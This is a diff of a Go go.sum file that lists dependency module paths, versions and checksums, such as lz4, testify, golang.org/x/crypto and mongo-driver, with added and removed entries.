github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
|
||||||
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||||
github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA=
|
github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA=
|
||||||
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
|
||||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
|
||||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
|
||||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
|
||||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
|
||||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
|
||||||
github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
|
||||||
github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
|
|
||||||
github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
|
|
||||||
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
|
|
||||||
github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
|
|
||||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
|
||||||
github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw=
|
|
||||||
github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o=
|
|
||||||
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM=
|
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 h1:N/ElC8H3+5XpJzTSTfLsJV/mx9Q9g7kxmchpfZyxgzM=
|
||||||
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
|
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
|
||||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||||
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
|
|
||||||
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
|
||||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
|
||||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
|
||||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||||
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
||||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
|
||||||
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
|
|
||||||
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
|
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
|
||||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||||
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
|
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
|
||||||
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
|
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
|
||||||
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
|
|
||||||
github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k=
|
|
||||||
github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg=
|
|
||||||
github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk=
|
|
||||||
github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg=
|
|
||||||
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
|
||||||
github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw=
|
|
||||||
github.com/sijms/go-ora/v2 v2.5.29 h1:ZSaeQM0Jn+r3XcIajk1YJk3Rx8fmt9eso6QQ73IZM6E=
|
|
||||||
github.com/sijms/go-ora/v2 v2.5.29/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk=
|
|
||||||
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
|
|
||||||
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
|
|
||||||
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
|
||||||
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
|
|
||||||
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
|
||||||
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
|
|
||||||
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
|
||||||
github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo=
|
|
||||||
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
|
|
||||||
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
|
||||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
|
||||||
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
|
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
|
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
|
||||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
|
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
|
||||||
github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
|
github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
|
||||||
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
|
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
|
||||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
|
||||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
|
||||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||||
@ -343,34 +136,20 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
|||||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||||
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||||
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
|
github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c=
|
||||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
|
||||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY=
|
||||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
github.com/xdg-go/scram v1.1.2/go.mod h1:RT/sEzTbU5y00aCK8UOx6R7YryM0iF1N2MOmC3kKLN4=
|
||||||
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
github.com/xdg-go/stringprep v1.0.4 h1:XLI/Ng3O1Atzq0oBs3TWm+5ZVgkq2aqdlvP9JtoZ6c8=
|
||||||
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
|
github.com/xdg-go/stringprep v1.0.4/go.mod h1:mPGuuIYwz7CmR2bT9j4GbQqutWS1zV24gijq1dTyGkM=
|
||||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM=
|
||||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78/go.mod h1:aL8wCCfTfSfmXjznFBSZNN13rSJjlIOI1fUNAtF7rmI=
|
||||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||||
go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
|
go.mongodb.org/mongo-driver v1.17.4 h1:jUorfmVzljjr0FLzYQsGP8cgN/qzzxlY9Vh0C9KFXVw=
|
||||||
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
|
go.mongodb.org/mongo-driver v1.17.4/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ=
|
||||||
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
|
|
||||||
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
|
||||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
|
||||||
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
|
||||||
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
|
||||||
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
|
||||||
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
|
||||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||||
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
|
||||||
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
|
||||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
|
||||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
|
||||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
|
||||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
|
||||||
golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
|
|
||||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||||
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||||
@ -380,56 +159,16 @@ golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v
|
|||||||
golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||||
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
|
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
|
||||||
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||||
golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
|
||||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
|
||||||
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
|
||||||
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
|
|
||||||
golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
|
|
||||||
golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
|
|
||||||
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
|
|
||||||
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
|
||||||
golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
|
||||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
|
||||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
|
||||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
|
||||||
golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
|
||||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
|
||||||
golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
|
||||||
golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
|
||||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
|
||||||
golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
|
|
||||||
golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
|
|
||||||
golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
|
|
||||||
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
|
|
||||||
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
|
|
||||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
|
||||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||||
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||||
